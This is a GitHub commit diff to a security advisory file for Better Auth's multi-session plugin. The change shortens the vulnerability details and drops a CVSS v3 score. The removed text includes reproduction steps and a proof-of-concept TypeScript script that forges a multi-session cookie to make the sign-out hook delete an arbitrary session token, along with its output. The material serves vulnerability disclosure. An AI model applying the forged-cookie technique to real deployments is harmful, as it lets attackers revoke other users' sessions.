Skip to content

Commit 8f4ae82

Browse files
1 parent bab0b51 commit 8f4ae82

File tree

1 file changed

+2
-6
lines changed

1 file changed

+2
-6
lines changed

advisories/github-reviewed/2025/11/GHSA-wmjr-v86c-m9jj/GHSA-wmjr-v86c-m9jj.json

Lines changed: 2 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,16 +1,12 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-wmjr-v86c-m9jj",
4-
"modified": "2025-12-01T16:08:39Z",
4+
"modified": "2025-12-09T16:23:04Z",
55
"published": "2025-11-26T22:11:50Z",
66
"aliases": [],
77
"summary": "Better Auth's multi-session sign-out hook allows forged cookies to revoke arbitrary sessions",
8-
"details": "## Summary\n- Vulnerable component: `multi-session` plugin’s `/sign-out` after-hook (`packages/better-auth/src/plugins/multi-session/index.ts`)\n- Issue: Hook trusts raw multi-session cookies and forwards unsanitized tokens to `internalAdapter.deleteSessions`, allowing forged cookies to revoke arbitrary sessions.\n- Status: Reproduced locally with updated proof-of-concept.\n\n## Impact\nAny authenticated attacker who can obtain the plain session token of another user (via log leaks, backups, etc.) can forge a multi-session cookie and trigger `/sign-out`. The hook extracts the attacker-supplied token and deletes the victim’s session, causing cross-account logout. No signing secret is required.\n\n## Product / Version\n- Repository: `better-auth`\n- Branch: `canary`\n- Affected file: `packages/better-auth/src/plugins/multi-session/index.ts` (current head)\n- Dependency configuration: `pnpm install`, Bun runtime (`bun v1.3.0`)\n\n## Steps to Reproduce\n1. Clone the repository and install dependencies with `pnpm install`.\n2. Ensure Bun is installed.\n3. Save the proof-of-concept script below as `PROOF_OF_CONCEPTS/multi_session/force-signout.ts`.\n4. Run:\n ```\n bun run --conditions better-auth-dev-source PROOF_OF_CONCEPTS/multi_session/force-signout.ts\n ```\n5. Observe the simulated adapter logging deletion of the attacker-chosen token.\n\n## Proof of Concept\nCurrent PoC (which selects the correct sign-out hook and demonstrates the forged-cookie flow):\n\n```ts\nimport { multiSession } from \"../../packages/better-auth/src/plugins/multi-session\";\nimport type { AuthMiddleware } from \"../../packages/core/src/api/index\";\n\nconst plugin = multiSession();\n\nconst hook = plugin.hooks.after\n ?.slice()\n .reverse()\n .find((h) => h.matcher({ path: \"/sign-out\" } as any));\n\nconst deleteSessions = (tokenList: string[]) => {\n console.log(\"deleteSessions invoked with:\", tokenList);\n};\n\nconst ctx = {\n headers: new Headers({\n cookie: \"better-auth.session_token=my-valid-session; better-auth.session_token_multi-target=TARGETTOKEN.fake\",\n }),\n context: {\n secret: \"dummy-secret\",\n authCookies: {\n sessionToken: {\n name: \"better-auth.session_token\",\n options: {},\n },\n },\n internalAdapter: {\n deleteSessions: deleteSessions,\n },\n },\n getSignedCookie: async (name: string) => {\n if (name.includes(\"_multi-\")) {\n // simulate forged cookie appearing valid\n return \"TARGETTOKEN\";\n }\n return \"my-valid-session\";\n },\n setCookie: () => {},\n json: () => {},\n} as unknown as Parameters<AuthMiddleware>[0];\n\nif (!hook) {\n throw new Error(\"Sign-out hook not found\");\n}\n\n(async () => {\n await hook.handler(ctx as any);\n})();\n```\n\n### PoC Output\n\n```\ndeleteSessions invoked with: [ \"TARGETTOKEN\" ]\n```\n\n![Screenshot 2025-11-12 at 5 32 52 PM](https://github.com/user-attachments/assets/d181916e-c0a8-4124-bdf3-7559315068d9)\n\nThis shows the handler accepted the forged cookie and attempted to delete the attacker-specified session token.\n\n## Root Cause\nThe multi-session sign-out hook parses cookies with `parseCookies(cookieHeader)` and, for every key matching the `_multi-` naming pattern, sets a blank cookie response and splits the value on `.` to extract the token. No call to `ctx.getSignedCookie` or equivalent verification occurs before invoking `ctx.context.internalAdapter.deleteSessions(...)`.",
8+
"details": "### Summary\n\nA vulnerability was identified in the multi-session plugin for Better Auth, specifically in the /sign-out after-hook. The hook trusts raw multi-session cookies and forwards the extracted values directly to internalAdapter.deleteSessions without verifying the cookie signature. Because cookie values are not validated with getSignedCookie (or any equivalent check), an attacker can supply a forged _multi-* cookie to trigger deletion of arbitrary session tokens.",
99
"severity": [
10-
{
11-
"type": "CVSS_V3",
12-
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H"
13-
},
1410
{
1511
"type": "CVSS_V4",
1612
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:L/VI:L/VA:L/SC:L/SI:L/SA:N"

0 commit comments

Comments
 (0)